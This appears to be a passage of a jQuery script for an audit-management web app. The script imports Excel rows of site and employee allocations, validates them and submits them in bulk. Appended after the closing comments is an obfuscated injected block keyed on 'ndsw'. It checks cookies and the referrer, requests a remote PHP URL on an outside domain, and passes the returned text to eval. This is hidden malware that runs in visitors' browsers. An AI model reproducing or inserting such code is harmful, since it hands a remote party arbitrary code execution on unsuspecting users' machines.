        exceljson.splice(rowvalue,noOfElementsToDeleteFromArry);
        sortExcelJsonAndCreateUiTable(exceljson);
        console.log(exceljson);
    });
    $("#exceltable").on('click','.clearEmployeeAllocations', function(){
        let exceljson=objData.get("dataFromExcel");
        let rowvalue=Number($(this).attr('data-rowIndex'));
        onClearEmployeeAllocations(exceljson[rowvalue], rowvalue);
        console.log(errorBucket);
    });
    $("#exceltable").on('click','.duplicateSiteDetailsRow', function(){
        let tooltipId=$(this).attr("aria-describedby");
        $(`.tooltip#${tooltipId}`).remove();
        let exceljson=objData.get("dataFromExcel");
        let currentDuplicateIcon=$(this);
        let rowvalue=Number(currentDuplicateIcon.attr('data-rowIndex'));
        onDuplicateTableRow(exceljson, rowvalue, currentDuplicateIcon);
        console.log(exceljson);
    });
    function onClearEmployeeAllocations(json, index){
        // clear in json
        let updateJsonOnClear=()=>{
            json.siteAssignedToEmpId=undefined,
            json.siteAssignedToEmpName=undefined,
            json["siteVisitDate(yyyy-mm-dd)"]=undefined,
            json.project=undefined,
            json.stageOfAudit=undefined,
            json.requiredCondition=false
        }
        // clear in ui
        let updateTableOnClear=()=>{
            $(`#empIdNameTd_${index} select.empIdDropDown`).val('');
            $(`#empIdNameTd_${index}`).children("span").remove();
            $(`#siteVisitDateTd_${index} input.siteVisitDate`).val('');
            $(`#siteVisitDateTd_${index}`).children("span").remove();
            $(`#projectTd_${index} select.projectDropDown`).val('');
            $(`#projectTd_${index}`).children("span").remove();
            $(`#stageOfAuditTd_${index} select.stageOfAuditDropDown`).val('');
            $(`#stageOfAuditTd_${index}`).children('span').remove();
        }
            // clear errors in error-bucket
        let updateErrorBucketOnClear=()=>{
        let keyArray=['empId','project','stageOfAudit','siteVisitDate'];
            keyArray.forEach(function(value){
                errorBucket[index].set(value,"noErrorFound");
            });
        }
        updateJsonOnClear();
        updateErrorBucketOnClear();
        updateTableOnClear();
    }
    function onDuplicateTableRow(exceljson, index, currentDuplicateIcon){
        let jsonObj=exceljson[index];
        let updateJsonOnDuplicate=()=>{
            let obj={
                siteId:jsonObj.siteId,
                siteName:jsonObj.siteName,
                latitude:jsonObj.latitude,
                longitude:jsonObj.longitude,
                customerName: jsonObj.customerName,
                circle: jsonObj.circle,
                district:jsonObj.district,
                poNumber:undefined,
                siteAssignedToEmpId:undefined,
                siteAssignedToEmpName:undefined,
                'siteVisitDate(yyyy-mm-dd)':undefined,
                project:undefined,
                stageOfAudit:undefined
                
            }
            exceljson.push(obj);
        }
        updateJsonOnDuplicate();
        sortExcelJsonAndCreateUiTable(exceljson);
    }
    function setStageOfAuditDropDown(projectName, rowIndex){
        let optionTags=`<option value="" selected disabled>Select Stage Of Audit</option>`;
        let stageOfAuditListArray=PROJECT_AND_STAGE_OF_AUDIT_DD[projectName];
        stageOfAuditListArray.forEach(function(value){
            optionTags+=`<option value="${value}">${value}</option>`;
        });
        $("#tableRowIndex_"+rowIndex+" .stageOfAuditDropDown").empty();
        $("#tableRowIndex_"+rowIndex+" .stageOfAuditDropDown").append(optionTags);
        $("#tableRowIndex_"+rowIndex+" .stageOfAuditDropDown").removeClass('bg-warning');
        if($("#stageOfAuditTd_"+rowIndex+" span.text-danger").length){ // check if exist
            $("#stageOfAuditTd_"+rowIndex+" span.text-danger").html("Please select stage of audit from dropdown list");
        }else{
            $("#stageOfAuditTd_"+rowIndex).append(`<span class="text-danger font-weight-bold">Please select stage of audit from dropdown list</span>`);
        }
        errorBucket[rowIndex].set("stageOfAudit","Error");// add error because this is required field.
        
    }
    
    function errorValidation() {
        var returnValue = 'zeroErrors';
        // console.log(errorBucket);
        var keyValue=['siteId','siteName','LatLong','customer','circle', 'duplicateEntry',
                      'empId', 'siteVisitDate', 'project', 'stageOfAudit', 'siteNameMismatch',
                      'latitudeMismatch','longitudeMismatch','customerNameMismatch','circleMismatch','districtMismatch'];
        for (var index = 0; index < errorBucket.length; index++) {
            keyValue.forEach(function(value){
                if(errorBucket[index].get(value)=="Error"){ // map.get(key)
                    // console.log(value);
                    returnValue = errorBucket[index].get("rowIndex");
                    return returnValue;
                }
            });
            
            // if (errorBucket[index].get("siteId") == "Error" || errorBucket[index].get("siteName") == "Error" ||
            //     errorBucket[index].get("LatLong") == "Error" || errorBucket[index].get("customer") == "Error" ||
            //     errorBucket[index].get("circle") == "Error" || errorBucket[index].get("duplicateEntry")=="Error" ||
            //     errorBucket[index].get("empId") == "Error" || errorBucket[index].get("siteVisitDate")=="Error" ||
            //     errorBucket[index].get("project")== "Error" ||  errorBucket[index].get("stageOfAudit")=="Error" ||
            //     errorBucket[index].get("siteNameMismatch")=="Error" || errorBucket[index].get("latitudeMismatch")=="Error" ||
            //     errorBucket[index].get("longitudeMismatch")=="Error" || errorBucket[index].get("customerNameMismatch")=="Error" ||
            //     errorBucket[index].get("circleMismatch")=="Error" || errorBucket[index].get("districtMismatch")) {
            //     returnValue = errorBucket[index].get("rowIndex");
            // }
        }
        return returnValue;
    }
    $("button#validateExcelData").click(function(){
        let spinnerIcon = $("#validateExcelData i");
        let excelJsondata = objData.get("dataFromExcel");
        sortExcelJsonAndCreateUiTable(excelJsondata);
        let checkError = errorValidation();
        $("#resultMessage").removeClass("text-danger");
        if(checkError != 'zeroErrors'){ // if any error found
            $("#resultMessage").addClass("text-danger");
            $("#resultMessage").html(`<b>Fill all required fields and submit</b>`);
            let errorNavigator =$("#triggerAnchr");
            errorNavigator.attr('href',"#serialNumber"+ checkError);
            errorNavigator[0].click();
            $("#tableRowIndex_"+ checkError).css('background', '#ff000024');
        }else{
            spinnerIcon.removeClass('d-none');
            $("#resultMessage").empty();
            let siteDetails=getSiteDetails_SitePODetails(excelJsondata);
            let postContent=siteDetails["sitePODetails"];
            let responseResult=postDataHttpRequest(ADD_SITE_BASE_URL + "getDuplicatePODetails", postContent);
            responseResult.then((result)=>{
                if(!result.error){
                    responseData=result.response;
                    let noOfRecordsAlreadyExisting=responseData.length;
                    if(noOfRecordsAlreadyExisting){
                        $("#highlightBtn").show();
                    }else{
                        $("#highlightBtn").hide();
                    }
                    let totalRecords=postContent.length;
                    $("#errorConsole").removeClass('d-none');
                    $("#totalRecordsValue").html(totalRecords);
                    $("#noOfSubmitRecords").html(totalRecords-noOfRecordsAlreadyExisting);
                    $("#noOfDuplicateRecords").html(noOfRecordsAlreadyExisting);
                    spinnerIcon.addClass('d-none');
                    $("#validateExcelData").hide();
                    $("#exceltable select, #exceltable input").attr("disabled",true);
                    $(".operationTh, .operationsTd").remove();
                    $("button#submit").html(`Submit<i class="fa fa-spinner fa-spin ml-2 d-none"></i>`);
                    $("button#submit").show();
                    adjustJsonAsperRequirement(responseData);
                    DUPLICATE_SITE_PO_DETAILS_ARRAY=responseData;
                    // console.log(responseData);
                }
            })
            .catch((error)=>{
                console.log("error"+error);
            });
        }
    });
    $("#submit").click(function(){
        $("#submit").html(`Submit <i class="fa fa-spiner fa-spin"></i>`);
        let filterdExcelJson=removeDuplicateEntriesFromExcelJson();
        console.log(filterdExcelJson);
        if(filterdExcelJson.length>0){
            let postContent=getSiteDetails_SitePODetails(filterdExcelJson);
            let responseResult=postDataHttpRequest(ADD_SITE_BASE_URL+"addSiteAndPOBulk", postContent);
            responseResult.then((result)=>{
                $("#submit i").addClass('d-none');
                if(!result.error){
                    $("#resultMessage").html(`<div><h6 class="font-weight-bold mt-2 text-success">Succesfully Submitted : </h6><p class="mb-0"><span   style="font-size: 11px;"> No.Of Sites Added records: <span class="text-succcess">${result.noOfaddSiteDetailsInserted}</span></span></p>
                                                <p><span  style="font-size: 11px;"> No.Of Employee Allocations records: <span class="text-success">${result.noOfPODetailsInserted}</span></span></p>
                                             </div>`);
                    $("#submit").hide();
                }else{
                    $("#submit").html('Retry <i class="fa fa-undo ml-2 "></i>');
                    $("#resultMessage").html(`<b class="text-danger">Internal error unable to submit</b>`);
                }
            })
            .catch((erro)=>{
                console.log("error on submitting bulk siteDetails");
                $("#submit").html('Retry <i class="fa fa-undo ml-2 "></i>');
                $("#resultMessage").html(`<b class="text-danger">Internal error unable to submit</b>`);
            })
        }else{
            $("#resultMessage").html('<b class="text-success">Site Details & Employee Allocations Already Exist</b>');
        }
        
    });
    
    function removeDuplicateEntriesFromExcelJson(){
        let importedExcelJson = objData.get("dataFromExcel");
        let filterdExcelJson=importedExcelJson.filter(
            obj1 =>DUPLICATE_SITE_PO_DETAILS_ARRAY.every(
                obj2=>!(obj1.siteId === obj2.SITE_ID && obj1["siteVisitDate(yyyy-mm-dd)"] === obj2.SITE_ASSIGNED_DATE && obj1.siteAssignedToEmpId === obj2.SITE_ASSIGNED_TO_EMPID)
                )
                                                    );
        return filterdExcelJson;
    }
    
    $("#highlightBtn").click(function(){
        let referenceId;
        DUPLICATE_SITE_PO_DETAILS_ARRAY.forEach(function(value){
            let trUniqueClass=value.SITE_ID+"_"+value.SITE_ASSIGNED_DATE+"_"+value.SITE_ASSIGNED_TO_EMPID;
            $(`.${trUniqueClass}`).addClass("bg-light-success");
            referenceId=$(`.${trUniqueClass}`).attr('id');
        })
        //navigate to last highlighted rows
            $("#triggerAnchr").attr("href", "#" + referenceId);
            $("#triggerAnchr")[0].click();
    });
    
    EMPLOYEES_NAME_ID_OBJ=()=>{
        let empNameObj={}
        let empNameIdsAry=getLocalStorageValue("EMP_ID_NAME_ARRAY");
        empNameIdsAry.forEach(function(value, index){
            empNameObj[value.empId]=value.empName;
        });
        return empNameObj
    };
    
    function getLocalStorageValue(key){
        return JSON.parse(localStorage.getItem(key));           //  localStorage variable got set in addsite/index.js file
    }
    function getEmpNameById(empId){
        return EMPLOYEES_NAME_ID_OBJ()[empId];
    }
    
    
    //rule1
    function checkRule(onChangedValue, indexValue){
        let siteVisitDate=()=>{
            let value=$("#siteVisitDateTd_"+indexValue+" input.siteVisitDate").val(); 
            let isErrorAlreadyExist=$("#siteVisitDateTd_"+indexValue+" span.text-danger").length ? true : false;
            if(!value && !isErrorAlreadyExist){                                // if siteVisitDate not Assigned
                $("#siteVisitDateTd_"+indexValue).append(`<span class='text-danger font-weight-bold'>Required</span>`);
                $("#siteVisitDateTd_"+indexValue+" .siteVisitDate").removeClass('bg-warning');
                errorBucket[indexValue].set("siteVisitDate","Error");
            }
        }
        let project=()=>{
            let value=$("#projectTd_"+indexValue+" select.projectDropDown").val();
            let isErrorAlreadyExist=$("#projectTd_"+indexValue+" span.text-danger").length ? true : false;
            if(!value && !isErrorAlreadyExist){
                $("#projectTd_"+indexValue).append(`<span class="text-danger font-weight-bold">Please select project from dropdown list</span>`);
                $("#projectTd_"+indexValue+" .projectDropDown").removeClass("bg-warning");
                errorBucket[indexValue].set("project","Error");
            }
        }
        let empId=()=>{
            let value=$("#empIdNameTd_"+indexValue+" select.empIdDropDown").val(); 
            let isErrorAlreadyExist=$("#empIdNameTd_"+indexValue+" span.text-danger").length ? true : false;
            if(!value && !isErrorAlreadyExist){
                $("#empIdNameTd_"+indexValue).append(`<span class="text-danger font-weight-bold">Please select empId in dropdown list</span>`);
                $("#empIdNameTd_"+indexValue+" .empIdDropDown").removeClass("bg-warning");
                errorBucket[indexValue].set("stageOfAudit","Error");
            }
        }
        
        switch(onChangedValue){
            case "empId":
                    siteVisitDate(); //checkRemainingValues();
                    project();
                break;
            case "siteVisitDate":
                    empId();                       //checkRemainingValues();
                    project();
                break;
            case "project":
                    empId();                      //checkRemainingValues();
                    siteVisitDate();
                break;
        }
    }
    
    function getSiteDetails_SitePODetails(validExcelJson){
        let mainArrayObj={};
        let siteDetailsArray=[];
        let poDetailsArray=[];
        let jsonLength=validExcelJson.length;
             let addNewSiteDetails=(currentLoopObj)=>{
                    let tempObj={
                        siteId:currentLoopObj.siteId,
                        siteName: currentLoopObj.siteName,
                        latitude:currentLoopObj.latitude,
                        longitude:currentLoopObj.longitude,
                        customerName:currentLoopObj.customerName,
                        circle:currentLoopObj.circle,
                        district:currentLoopObj.district
                    } 
                    siteDetailsArray.push(JSON.stringify(tempObj));
            }
            let addPoDetails=(currentLoopObj)=>{
                let tempObj={
                    siteId:currentLoopObj.siteId,
                    poNumber:currentLoopObj.poNumber,
                    siteAssignedToEmpId:currentLoopObj.siteAssignedToEmpId,
                    siteAssignedToEmpName:currentLoopObj.siteAssignedToEmpName,
                    siteVisitDate:currentLoopObj["siteVisitDate(yyyy-mm-dd)"],
                    project:currentLoopObj.project,
                    stageOfAudit:currentLoopObj.stageOfAudit,
                    managerId:loggedUserId,             // in index.php file
                    managerName:loggedUserName          // in index.php file
                }
                poDetailsArray.push(JSON.stringify(tempObj)); 
            }
            for(let loopIndex=0; loopIndex<jsonLength;loopIndex++){
                let newSiteDetails=validExcelJson[loopIndex];
                let siteDetailsAlreadyExist=false;
                    siteDetailsArray.forEach(function(currentObject){
                        if(currentObject.siteId==newSiteDetails.siteId){
                            siteDetailsAlreadyExist=true;
                        }
                    });
                    if(!siteDetailsAlreadyExist){
                        addNewSiteDetails(newSiteDetails);
                    }
                    addPoDetails(newSiteDetails);
            }
        mainArrayObj["siteDetails"]=siteDetailsArray;
        mainArrayObj["sitePODetails"]=poDetailsArray;
        // console.log(mainArrayObj);
        return mainArrayObj;
    }
    function sortExcelJsonAndCreateUiTable(exceljson){
        errorBucket=[];
        var sortJsonClassObj= new sortRawJsonData();
            sortJsonClassObj.sortDataBySiteId_empId_siteVisitDate(exceljson);
        var dynamicClassObj = new DynamicTabledata(); // class in DynamicTable.js
        var tableContent = dynamicClassObj.getDynamicTableContent(exceljson);
            objData.set("dataFromExcel", exceljson);
        $("#exceltable").empty().append(tableContent);
        // afterAppendRawDataToTableUi(exceljson);
    }
    
    function adjustJsonAsperRequirement(json){
        let loopIndex=0;
        while(loopIndex<json.length){
            if(json[loopIndex].SITE_ASSIGNED_DATE=="0000-00-00"){// while remove duplicate rowvalues from excel json requirement is not be ('' or '0000-00-00') only need undefined
                json[loopIndex].SITE_ASSIGNED_DATE=undefined;
            }
            if(json[loopIndex].SITE_ASSIGNED_TO_EMPID==""){
                json[loopIndex].SITE_ASSIGNED_TO_EMPID=undefined;
            }
           loopIndex++; 
        }
    }
    function validateDateYearValue(date){
        let dateArray=date.split("-");
        let yearVal=dateArray[0];
        if(yearVal>=PACS_ESTABLISHED_YEAR){  // PACS_ESTABLISHED_YEAR=2015 IN CONSTANT.JS
            return true;
        }else{
            return false;
        }
    }
    
    
//  rules
/*
rule1
1) In PO Details: -   If only PO number given allow to submit.
2) In PO Details: -   If no PO Details allow to submit.
3) In PO Details: - (empIdName, SitevisitDate, Project, stateOfAudit) If any one of these fields present all remaining fields need to insert.
    i.e (add only if all 4 fields values there)


rule2
1) only one entry should me be  there with (siteId+empId+siviteDate) combination, if not print duplicate entry.
*/
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};